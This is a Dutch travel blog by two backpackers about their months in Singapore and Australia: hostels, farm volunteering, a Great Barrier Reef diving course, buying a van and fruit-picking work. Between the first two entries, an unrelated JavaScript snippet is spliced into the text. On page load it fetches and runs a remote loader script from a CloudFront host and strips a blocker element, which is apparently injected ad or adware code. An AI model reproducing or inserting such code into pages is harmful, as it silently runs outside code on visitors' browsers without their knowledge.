Vandaag zijn we in Hervey Bay aangekomen. Eindelijk weer een fatsoenlijke camping waar we warm kunnen douchen, een goede keuken mogen gebruiken en internet kunnen kopen! Helaas is er ook hier geen werk in de buurt. Het zal nog spannend worden of we werk vinden voor ons geld voor benzine op is. Gelukkig staan er na morgen geen grote uitgaven meer op de planning. Morgen nemen we een one-day tour op Fraser Island waar we later zeker meer over zullen vertellen!
Terug naar de popcorn en de films op de laptop! (want het internet is alweer op)
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};Week 6 tot 20 april
We hadden ons voorgenomen het blog pas te updaten wanneer we werk hadden. En daar hebben we ons aan gehouden! Helaas was het moeilijker om werk te vinden dan we hadden verwacht. Maar we zullen eerst vertellen hoe Cairns was.
In Cairns aangekomen waren we meteen verbaasd over de simpelheid van de stad. We hadden meer iets in de richting van Sydney verwacht, met hoge flats en kantoren. Maar in Cairns was alles in de breedte gebouwd. We hadden nog niet naar hostels gekeken dus liepen we maar gewoon richting het drukste punt van de stad. We kwamen toevallig langs een hostel waar een goede sfeer hing. Dus even kijken hoe duur het was. Voor een 3 persoons kamer 14 dollar per nacht, en dan was je ontbijt en avondeten inbegrepen. Een heel verschil met de 6 persoons 34 dollar kamers in Sydney dus. Het zag er allemaal schoon en goed geregeld uit. En dus boekten we er een nacht. De rest van de dag een beetje rond gelopen door Cairns en bij de Lagoon gezeten (bij gebrek aan een goed strand om te zwemmen hebben ze een groot zwembad met strand zand eromheen aangelegd, om maar aan te geven hoe belangrijk Australiërs de stranden vinden).
Het gratis avond eten was goed genoeg, en zo zijn we de rest van de week ook bij dat hostel gebleven terwijl wij op zoek waren naar werk en een auto.
We waren erg aan het twijfelen of we nu al een duik cursus moesten nemen vanwege het geld, en we hadden nog steeds geen werk. Maar we waren tenslotte nu bij de Great Barrier Reef. We vroegen wat rond bij informatie centra en duik shops en uiteindelijk kwamen we bij Pro Dive uit (die scheen de beste te zijn). Waar ze net 80 dollar korting hadden op hun 5 dagen cursus waardoor de prijs gelijk stond met de “slechtere” duik scholen. Helaas keek iedereen met verstand van duiken erg moeilijk toen we het woord “Astma” noemden. De Great Barrier Reef schijnt 1 van de strengste plekken te zijn om te duiken. En met Astma mocht je niet duiken tenzij je toestemming had van een dokter (die toestemming was verplicht voor elke duiker). De volgende dag gelijk laten testen en we kwamen er allebei met een goedkeuring uit, ondanks dat de informatie centra allemaal hadden gezegd dat we het op moesten geven en maar moesten gaan snorkelen.
Met de goedkeuring gelijk naar Pro Dive gegaan en de 5 dagen cursus geboekt. 2 dagen zwembad en klaslokaal training en 3 dagen Great Barrier Reef op een boot. Het duiken in het zwembad was al wel geinig. Maar eenmaal op de boot was het echt geweldig! Prachtig hoe je over de bodem kunt “zweven” en tussen het koraal en de vissen zwemt.
Ross kwam er al snel achter dat er iets niet in orde was. Hij had last van een tand en het deed ongelofelijk veel pijn wanneer hij rond 4 meter diep was. Dat was een probleem gezien alle training tussen de 5 en de 18 meter plaatsvond. Hierdoor moest Ross zijn duik staken en terug naar de boot om te snorkelen. Ross bleef het elke duik weer proberen maar zonder geluk. Waarschijnlijk zat er een barst of een gaatje in zijn tand waar de luchtdruk niet aan mee wou werken. En niemand kon er wat aan doen. Toen Michiel zijn PADI (open water certificaat) had gehaald was Ross nog gedwongen te blijven snorkelen. Dat was natuurlijk ook prachtig daar! Met het snorkelen kon je zelfs net zoveel zien als met het duiken. Maar het was erg balen dat hij de duik cursus waar hij al voor had betaald zo niet zou kunnen halen. Gelukkig was er 1 van de instructeurs die met hem apart alle vereisten voor het certificaat wel met hem wou uitvoeren op 5 meter diepte (minimale vereiste). Dit lukte nog net door erg langzaam te dalen, en zo hadden we beiden ons duik certificaat gehaald. We mogen nu met een partner van hetzelfde niveau/hoger duiken tot 18 meter diepte. Michiel ging ook nog voor de Adventure Course. En na een paar extra oefeningen (nacht duik, foto duik en diepte duik), mag hij nu tot 30 meter diepte. We hebben de duik foto’s (alleen van michiels foto duik want een camera huren koste 35 dollar per duik) op Facebook geupload. Helaas hadden we geen camera bij de nachtduik (Haaien!) en een duik met schildpadden en een reusachtige aal. Maar toch nog genoeg mooie foto’s.
Na de 5 dagen duik cursus gingen we met de duik groep nog gezellig wat drinken (redelijk wat gratis bier aangeboden gekregen :D) en toen was ons duik avontuur voorbij.
We waren verder gaan zoeken naar uitstapjes rond Cairns, maar de prijzen waren ons veel te hoog (tour bussen zijn niet goedkoop). Dus hard verder zoeken naar een auto. Toevallig sprak een backpackster ons aan bij het hostel met de vraag of we een busje zochten. We hadden het busje al op een van de vele posters die we af hadden gezocht gezien, maar vonden de prijs van 4500 dollar veel te duur (ookal was 5000 een normale/ goedkope prijs voor busjes in Cairns en Sydney). We deden haar een voorstel van 2500 (een goedkope prijs voor een gewone auto hier) maar dat was haar te weinig. Maar als ze niemand meer kon vinden voor de prijs die ze vroeg (elke dag deed ze er weer zon 200 dollar vanaf) was die voor ons op de dag van haar vertrek naar het buitenland. Nog even laten testen bij een garage in de buurt en geld geleend van de ouders (nogmaals dank!) en we hadden ons eigen busje waar we in kunnen slapen! Compleet met backpackers uitrusting als gas stelletje, eetgerij, wegen kaarten, spelletjes doos, koelbox, en dekens. Enige minpuntje is dat het busje soms wat op moet warmen voor die goed rijd. Maar na 10 min doet ie het voor de rest van de dag geweldig.
Met onze nieuwe aanwinst naar Cape Tribulation (regenwoud) en de Atherton Tablelands (wallabies) gereden om een aantal hondertjes te besparen op tours. Bij Cape Tribulation wouden we nog krokodillen spotten maar dat was niet gelukt. In de Table lands zijn we eerst naar de Crystal Cave’s geweest gezien we er toevallig langs reden. He waren kunstmatige grotten waar een gigantische kristal verzameling in was verwerkt. En daarna hebben we wallabies gevoerd en wat gezwommen tussen de rotsen. Het “wandelpad” dat ze hadden aangelegd bestond uit witte stippen die van rotsblok naar rotsblok gingen. Als ze ons van te voren niet verzekerd hadden dat het pad uit witte stippen bestond hadden we gedacht dat het verboden zou zijn daar te lopen. We waren blij met onze wandel schoenen, die toch wat meer grip bieden dan de slippers die we normaal dragen in dit warme weer.
Ondertussen zaten we al zon 2 weken in/rond Cairns bij hetzelfde hostel en had nog geen van de werk opties positief gereageerd. Dus ingeschreven bij Happy Travel Cairns waar je pas voor je lidmaatschap betaald als ze je werk hebben gevonden. Ze hadden donderdag avond een soort feestje met gratis goon (de goedkoopste wijn die je maar kunt bedenken) en pizza. Dus daar gingen we natuurlijk heen. Bleken ze er ook nog een loterijtje en een beer pong wedstrijd te hebben! Helaas werden we 3e met beer pong, want de 1e prijs was 2 for 1 skydive. En die hadden we graag gewonnen. Maar met de loterij waar bijna 40 mensen aan mee speelden hadden we meer geluk. We wonnen allebei 1 van de 5 prijzen. Allebei een 2 for 1 reef trip, maar gezien we die al hadden gedaan hebben we het kunnen ruilen voor 2 gratis kano trips van 3 dagen! Ons hoor je niet klagen.
De dag erna was er nog zo’n feestje bij het collega bedrijf Peter Pan’s waar Ross nog ff 10 dollar won.
En na al die tijd uiteindelijk verlost van Cairns. Ondanks dat het een leuk stadje is, er is gewoon niet veel te doen als je weinig geld hebt. Happy Travels belde dat ze werk voor ons hadden gevonden! Avocado’s plukken voor 6 weken vanaf een Working hostel. Gelijk die avond werden we er verwacht. Dus te laat uitboeken bij het hostel (14 dollar pp.) en snel naar Tolga gereden (naast Atherton, dus we kenden de weg). 120 dollar per persoon per week voor het working hostel, terwijl we in ons busje slapen en zelf de 40 min rijden naar de farm en terug. Helaas zijn die prijzen zijn niet abnormaal voor Working hostels. Gelukkig staat er een loon van 20 dollar per uur tegenover (15 als je de belasting mee rekent). En als het niet regent. 6 dagen per week werk. Maar dan nog betalen we wel erg veel voor 3 uur per week internet, een slechte keuken, een beetje stroom en de wc’s.
Achja, niks aan te doen. Als we weggaan voordat de 6 weken omzijn verliezen we onze 200 dollar borg (per persoon!) en we moeten toch geld verdienen.
Er is hier nog minder te doen dan in Cairns, dus verwacht niet te veel nieuws de komende tijd!
Week 3, 4 & 5
Nadat we ons bankpasje hadden opgehaald bij de Westpac bank gelijk op de ferry naar Manly gestapt. Geweldig hosteltje gevonden. Een groot huis waar de eigenaresse op de bovenverdieping woonde, en beneden 4 kamers met stapelbedden waren. Gratis wifi , BBQ en tv, geweldige douches en vriendelijke mensen. Het strand in Manly was ook geweldig. Lekker gebeach volleyballed en in de golven gezwommen. We hadden ondertussen van onze 2e keuze in het WWOOFen al gehoord dat ze niemand zochten op dat moment en de 1e keuze reageerde maar niet dus in de avond maar weer verder zoeken. Dit keer werden we gelijk terug gesmst met de vraag wanneer we konden komen. Dus met de ferry terug naar Sydney om met de trein naar Minto te gaan. Volgens internet een reis van 2 uur, in realiteit waren we een uur later al in Minto aan het wachten (kan de NS nog wat van leren).
Nu zitten we op een farm die voornamelijk bezig is met bijen. De eigenaar is druk bezig het erf om te bouwen totdat hij niet meer naar de supermarkt hoeft voor zijn levensbehoeften. Met zijn regenwater tanks, kippen, bijen, ganzen, groente kas en fruit planten komt het al een heel eind.
Het concept van WWOOFen is dat we een paar uurtjes per dag (5 dagen per week) werken in ruil voor kost en inwoning. Het ligt ook een beetje aan de host hoeveel werk je moet doen, maar deze host is heel erg chill. We worden wakker om 7 uur/ half 8, werken tot de lunch, gaan wat boodschappen halen en dan hebben we de rest van de dag meestal vrij. Tot nu toe hebben we een keuken geïnstalleerd in de schuur en van 2 kamers 1 grote kamer gemaakt, dat laatste was nog wel eens interessant. De structuur van dit gebouw is erg vreemd, in de muur zaten bijvoorbeeld 5 balken die de muur waar het dak op steunde ondersteunden. Maar die balken liepen dan weer niet door tot de dak constructie. Erg.. creatief dus. Verder hebben we in de tuin gewerkt, hekken verwijderen, de vuur plaats aanvullen, troep verplaatsen en stukken wildernis uit de tuin hakken. Met heel af en toe wat honing werk. Maar door de regen was er niet zo veel honing, en bleef het bij het vullen van de potjes en de stikkers erop plakken.
Maar na al dat werken hadden we ook weekenden vrij! We zijn t eerste weekend eerst naar the Syndey Aquarium geweest. Daar hadden ze vooral dieren die rond sydney leefden, bijvoorbeeld het vogelbekdier, stingrays en zelfs pinguins. Diezelfde dag zijn we ook rond gaan lopen door de royal botanic gardens met onze WWOOF genoot Lorenz (een erg aardige Oostenrijkse jongen). De 2de dag zijn we naar wollongong beach geweest (een halfuur rijden met de auto, maar sinds we die niet hebben moesten we via sydney central met de trein, wat 2 gezellige uurtjes in de trein opleverde ), en we zijn nog niet verbrand! (a real accomplishment for ross) Toen kwam de 4de WWOOFer hier. Een duitse jongen genaamd Julian. Maar sinds wij (de host + Michiel, ik en Lorenz) het weekend van zaterdag-zondag naar zondag-maandag hadden verplaatst, dachten wij dat het woensdag was ipv donderdag. Ralph (de host) was daardoor vergeten dat hij Julian zou ophalen, en keek ook niet naar zijn mobiel. Julian kwam dus later op de avond binnenvallen nadat hij uit een taxi stapte. Hij had er al een mooi avontuur opzitten. Van Sydney naar Minto. Daar lange tijd wachten. Terug naar Sydney om zijn mail te checken. En weer terug naar Minto om na weer een tijd wachten maar een taxi te nemen. Gelukkig kon hij wel wat hebben en was het gelijk gezellig.
We zijn nog 2 keer naar Bondi Beach gegaan! De laatste keer voor 4 uur een surfboard gehuurd en wat geslapen op het gras. We zijn met Lorenz en Julian het weekend daarna naar de Blue Mountains geweest! Prachtig gebied (foto’s op facebook). Het sprookje achter de 3 zusters gelezen (3 grote rotsen naast elkaar) en veel gelopen. Van waterval naar uitkijk punt en terug. Om naar het volgende dorp te lopen midden door de jungle. Geweldige tocht en rond een uur of 9 savond’s waren we weer op het station. Helaas werd er omgeroepen dat er een trein vast stond en we 3 kwartier moesten wachten. En zo kwam 10 min later de vorige trein met vertraging en konden we mooi optijd naar Minto.
We zijn nog 2 keer naar de bios gegaan. En er nogmaals aan herinnerd altijd eerst een recensie op te zoeken voor je ergens voor betaald. Gelukkig maakte we de 2e keer niet dezelfde fout en hadden we het weer geweldig in de Australische bios.(9:20 begin van de film = 9:30 begin reclame, om maar weer aan te geven hoe relaxed de sfeer hier gemiddeld is).
De rest van de vrije tijd is goed besteed aan bier, honing wijn (heerlijk!), vodka met honing (verbazend lekker), en nog meer honing (alles op kosten van de host!). Er waren een paar geweldige clubs hier en daar, maar op het erf kon je je ook prima vermaken. Bijvoorbeeld met de grote diversiteit aan dieren. Ganzen die hissend achter je aan hopsen of het grote aantal dodelijke spinnetjes (vooral de Redback spider komt hier vaak voor). Of je kon zwemmen in 1 van de vijvertjes op het erf.
Morgen om 6 uur in de ochtend vertrekken we vanaf Sydney naar Cairns. Opzoek naar werk en eventueel een auto. Verder is het afwachten wat we daar allemaal tegen zullen komen.
De 1e 2 weken!
Een geweldige reis tot nu toe! In zo’n korte tijd al heel wat beleefd. Wachtend op het vliegtuig op schiphol de meeste deelnemers van de groepsreis ontmoet. En na de tussenstop in Londen ook de laatsten. Allemaal tussen de 18 en 26 jaar. Gezellige en over het algemeen avontuurlijke mensen.
Aangekomen in Signapore na een uur of 12 aan films, muziek en vliegtuig voedsel waren er 2 hun bagage kwijt. Gelukkig hadden wij alles compleet. We werden opgehaald door onze gids, die ons naar ons hotel bracht. We hadden een simpel hotelletje of hostel verwacht maar het had meer weg van vakantie onderkomen. Eigen badkamer, tv, dikke bedden, kluis, koelkast en zelfs schoenen poets.
Na even douchen gingen we met de groep wat eten zoeken. Helaas waren we pas in de avond aangekomen en waren alle lokale tentjes al aan het sluiten. Alleen de KFC en Burger King waren nog open.. Dus zo begon ons buitenlandse avontuur met een hamburger en frietjes J
Na het eten met de bus naar de binnenstad gereden om even wat te drinken. 10 Singapore dollar voor een biertje (ongeveer 7 euro en dat met groepskorting). Gelukkig zaten we wel mooi aan het water. Nog even het nachtleven bezocht (zonder wat uit te geven) en toen opzoek naar ons hotel. Het moest te lopen zijn en 1 iemand uit de groep wist de weg wel te vinden dacht hij. Dus na een uur lopen toch maar met 2 taxi’s (die daar heel goedkoop zijn) naar het hotel gegaan, wat raar genoeg totaal de andere kant op was. Ross was eerder al weggegaan samen met 1 andere van de groep, maar in tegenstelling tot Michiel en de rest was hij wel in 1 keer in een uurtje naar het hotel gelopen (de goede kant op).
De volgende dag na het inbegrepen ontbijt een tour gehad door Singapore. China town, India town, een Juweel/kristal bewerkings fabriek, de botanic garden en de bekendste uitzichts punten bezocht. En toen weer naar het vliegveld om weer 9 “leuke” uren in het vliegtuig door te brengen.
Eenmaal in Sydney werd Ross voor de zoveelste keer gecontroleerd. In Londen werden de flesjes die hij mee had (in zo’n plastic zakje) getest op drugs, in Signapore maakten ze zijn tas open nadat hij door de scanner was gegaan en in Sydney maakte de douane een typefout bij het nummer van zijn paspoort waardoor hij bijna het land niet in mocht om vervolgens zijn wandel schoenen onderuit zijn backpack te moeten pakken voor grond controle. Ondertussen kon Michiel overal rustig doorlopen.
We werden met een klein busje naar het Wake Up! Hostel gebracht waar we de 1e 3 nachten zouden verblijven. Het viel gelijk op dat het een duur hostel was. Pasjes voor de kamers en lift en een moderne uitstraling. Hier wouden we niet te lang blijven gezien Sydney uit zichzelf al duur genoeg is. Nog even lopend naar Circular quay. De bekende Harbour Bridge en Opera House bekeken (van buiten, gezien beide attracties wat prijzig zijn voor beginnende backpackers). En met z’n allen spaghetti alla Jelsma gegeten in de gezamenlijke keuken.
De intro van het WTC (work & travel company) gehad, ingeschreven voor het surf kamp met bijna de hele groep. (De afhakers waren of gingen die week nog naar Nieuw zeeland). 2 gratis biertjes gedronken als welkom en de volgende dag een boot tour door de haven gehad (was ook nog inbegrepen). Daarna naar Bondi beach gegaan. Even gezwommen en lekker gelegen op ‘t zand. Hyde park (inclusief kathedraal) en de royal botanic gardens bezocht.
Om 9 uur sochtends opgehaald voor surfkamp, 2 uur rijden van Sydney. Elke dag 2 uur s’ochtends en 2 uur s’middags surf les. Natuurlijk staan we alleen op de kleinste golfjes op de foto maar dat maakte het niet minder leuk! Ondanks de vele zonnebrand zijn we toch verbrand. Gezien er een redelijk aantal hostels is op onze weg dat gratis surfborden uitleent als je bij hen verblijft zit de kans er goed in dat we dit half jaar nog heel wat zullen hebben aan deze surflessen.
Na de geweldige surf week ‘s middags weer in Sydney neergezet om zo snel mogelijk een hostel te zoeken. Na heel wat moeite en uiteindelijk via internet is het ons gelukt een nacht te boeken bij Maze. Een oud hostel midden in Sydney waar de manager Nederlands bleek te zijn. We hadden “geluk” dat er van alles mis ging bij het inchecken waardoor we free drink bonnetjes kregen voor verschillende cafe’s en barretjes in de stad. Er zijn dit weekend een stuk of 3 festivals gaande in Sydney en vandaar zat alles bom en bom vol. Maar dankzij de Nederlandse manager konden we nog wat krijgen J Maandag ons bankpasje ophalen bij het WTC en dan zo snel mogelijk Sydney uit! Hopen dat er snel iemand reageert op ons WWOOFers (Willing workers on organic farms) voorstel.
Welkom op mijn Reislog!
Hallo en welkom op mijn reislog!
Dé plaats om op de hoogte te blijven van alle avonturen en ervaringen tijdens deze reis. Vanaf nu zul je hier dan ook regelmatig nieuwe verhalen en foto's vinden, en via de kaart weet je altijd precies waar ik me bevind en waar ik ben geweest! Meer informatie over mijzelf en de reis die ik ga maken vind je in het profiel.
Wil je automatisch een mailtje ontvangen wanneer er een nieuw verhaal of een nieuwe fotoserie op deze site staat? Meld je dan aan voor mijn mailinglijst door je e-mail adres achter te laten in de rechter kolom.
Ik zie je graag terug op mijn reislog en laat gerust af en toe eens een berichtje achter!
Leuk dat je met me meereist!
Groetjes,
Ross